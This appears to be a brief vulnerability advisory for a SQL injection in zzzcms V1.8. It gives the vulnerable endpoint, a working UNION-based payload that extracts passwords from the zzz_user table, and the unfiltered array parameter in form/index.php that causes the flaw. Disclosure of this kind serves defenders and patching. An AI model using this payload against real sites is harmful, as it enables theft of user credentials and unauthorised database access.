zzzcmsV1.8 前台某处SQL注入漏洞

网络安全

Injection point: 

http://127.0.0.1/zzzphp/form/index.php?module=getjson

payload:table=gbook&where[]=1=1 union select password from zzz_user&col=1

Analysis:

In the file:

https://github.com/h4ckdepy/zzzphp/blob/master/form/index.php 

line262,get_json() method supports execution through the getmodule() method and when the value of the $act variable is getjson. At this time, it will get the URL as follows: 

http://127.0.0.1/zzzphp/form/index.php?module=getjson 

And in the where parameter, the array can be used to bypass the restriction, and there is no SQL injection filter on the parameter, resulting in SQL injection.
